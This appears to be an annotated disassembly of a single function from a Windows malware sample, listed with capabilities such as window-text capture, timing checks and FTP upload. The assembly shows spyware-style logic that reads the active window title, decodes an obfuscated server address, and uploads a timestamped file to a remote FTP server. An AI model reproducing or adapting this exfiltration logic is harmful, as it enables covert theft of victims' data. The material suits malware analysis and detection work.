Function at 0x5f3170
Capabilities:
Check for time delay via gettickcount
Connect to http server
Create http request
Get graphical window text
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x60a73c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x368
mov dword [ebp - 0x32c], 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x10], eax
push 0x100
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x791428], eax
jb 0x5f32d1
mov edx, 0xaf7b0abf
push edx
lea ecx, [ebp - 0x271]
call fcn.005f6690
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x330]
mov dword [ebp - 0x334], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x32c]
or ecx, 1
mov dword [ebp - 0x32c], ecx
mov edx, dword [ebp - 0x334]
push edx
lea eax, [ebp - 0x114]
push eax
call fcn.00407060
add esp, 8
test eax, eax
jne 0x5f32d1
mov ecx, 0xba929a7a
push ecx
lea ecx, [ebp - 0x27c]
call fcn.005f6710
mov dword [ebp - 0x338], eax
mov edx, dword [ebp - 0x338]
mov dword [ebp - 0x33c], edx
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x32c]
or eax, 2
mov dword [ebp - 0x32c], eax
mov ecx, dword [ebp - 0x33c]
push ecx
lea edx, [ebp - 0x114]
push edx
call fcn.00407060
add esp, 8
test eax, eax
jne 0x5f32d1
push 0x423f76f6
lea ecx, [ebp - 0x286]
call fcn.005f6790
mov dword [ebp - 0x340], eax
mov eax, dword [ebp - 0x340]
mov dword [ebp - 0x344], eax
mov dword [ebp - 4], 2
mov ecx, dword [ebp - 0x32c]
or ecx, 4
mov dword [ebp - 0x32c], ecx
mov edx, dword [ebp - 0x344]
push edx
lea eax, [ebp - 0x114]
push eax
call fcn.00407060
add esp, 8
test eax, eax
jne 0x5f32d1
mov dword [ebp - 0x348], 0
jmp 0x5f32db
mov dword [ebp - 0x348], 1
mov cl, byte [ebp - 0x348]
mov byte [ebp - 0x269], cl
mov dword [ebp - 4], 1
mov edx, dword [ebp - 0x32c]
and edx, 4
je 0x5f330b
and dword [ebp - 0x32c], 0xfffffffb
lea ecx, [ebp - 0x286]
call fcn.005f4760
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x32c]
and eax, 2
je 0x5f332f
and dword [ebp - 0x32c], 0xfffffffd
lea ecx, [ebp - 0x27c]
call fcn.005f4730
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x32c]
and ecx, 1
je 0x5f3353
and dword [ebp - 0x32c], 0xfffffffe
lea ecx, [ebp - 0x271]
call fcn.005f6eb0
movzx edx, byte [ebp - 0x269]
test edx, edx
je 0x5f36a4
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x11c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x118]
sub ecx, dword [ebp - 0x11c]
cmp ecx, 0x3e8
jbe 0x5f3694
mov edx, 0xa44865e6
push edx
lea ecx, [ebp - 0x292]
call fcn.005f6810
mov dword [ebp - 0x34c], eax
mov eax, dword [ebp - 0x34c]
push eax
call fcn.005d19c7
add esp, 4
lea ecx, [ebp - 0x292]
call fcn.005f4790
call fcn.005f2bc0
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x268], eax
push 0
push 0x8000000
push 1
push 0x58e0acf4
lea ecx, [ebp - 0x29e]
call fcn.005f6910
mov dword [ebp - 0x350], eax
mov ecx, dword [ebp - 0x350]
mov dword [ebp - 0x354], ecx
mov dword [ebp - 4], 3
mov edx, dword [ebp - 0x354]
push edx
push 0x58e0ad00
lea ecx, [ebp - 0x2aa]
call fcn.005f6910
mov dword [ebp - 0x358], eax
mov eax, dword [ebp - 0x358]
mov dword [ebp - 0x35c], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x35c]
push ecx
push 0x15
push 0x331c48db
lea ecx, [ebp - 0x2b8]
call fcn.005f6890
mov dword [ebp - 0x360], eax
mov edx, dword [ebp - 0x360]
push edx
mov eax, dword [ebp - 0x268]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x128], eax
lea ecx, [ebp - 0x2b8]
call fcn.005f47c0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2aa]
call fcn.005f4790
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x29e]
call fcn.005f4790
cmp dword [ebp - 0x128], 0
jne 0x5f34cc
mov ecx, dword [ebp - 0x268]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x96
push 0
lea edx, [ebp - 0x264]
push edx
call fcn.005d4860
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
mov ecx, 0x907a8620
push ecx
lea ecx, [ebp - 0x2ce]
call fcn.005f6a10
mov dword [ebp - 0x364], eax
mov edx, dword [ebp - 0x364]
push edx
lea eax, [ebp - 0x264]
push eax
call fcn.005d14e9
add esp, 0xc
lea ecx, [ebp - 0x2ce]
call fcn.005f4820
lea ecx, [ebp - 0x264]
push ecx
mov edx, dword [ebp - 0x128]
push edx
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
lea eax, [ebp - 0x124]
push eax
call fcn.005f3130
add esp, 4
lea ecx, [ebp - 0x124]
push ecx
call fcn.005f3110
add esp, 4
mov dword [ebp - 0x1c8], eax
mov edx, dword [ebp - 0x1c8]
cmp dword [edx + 8], 0x18
jle 0x5f3576
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [eax + 8]
sub ecx, 0xc
mov dword [ebp - 0x368], ecx
jmp 0x5f3585
mov edx, dword [ebp - 0x1c8]
mov eax, dword [edx + 8]
mov dword [ebp - 0x368], eax
mov ecx, dword [ebp - 0x1c8]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [ebp - 0x368]
push edx
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp - 0x1c8]
mov eax, dword [edx + 0x10]
add eax, 1
push eax
mov ecx, dword [ebp - 0x1c8]
mov edx, dword [ecx + 0x14]
add edx, 0x76c
push edx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x264]
push ecx
push 0x69f98e46
lea ecx, [ebp - 0x30e]
call fcn.005f6990
mov dword [ebp - 0x36c], eax
mov edx, dword [ebp - 0x36c]
push edx
lea eax, [ebp - 0x1c4]
push eax
call fcn.005d14e9
add esp, 0x28
lea ecx, [ebp - 0x30e]
call fcn.005f47f0
push 0
push 2
lea ecx, [ebp - 0x1c4]
push ecx
mov edx, 0xa4486672
push edx
lea ecx, [ebp - 0x31a]
call fcn.005f6810
mov dword [ebp - 0x370], eax
mov eax, dword [ebp - 0x370]
push eax
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WININET.dll_FtpPutFileA]
lea ecx, [ebp - 0x31a]
call fcn.005f4790
mov edx, dword [ebp - 0x128]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x268]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0xa448667e
push ecx
lea ecx, [ebp - 0x326]
call fcn.005f6810
mov dword [ebp - 0x374], eax
mov edx, dword [ebp - 0x374]
push edx
call fcn.005d19c7
add esp, 4
lea ecx, [ebp - 0x326]
call fcn.005f4790
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x3e8
mov dword [0x791428], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret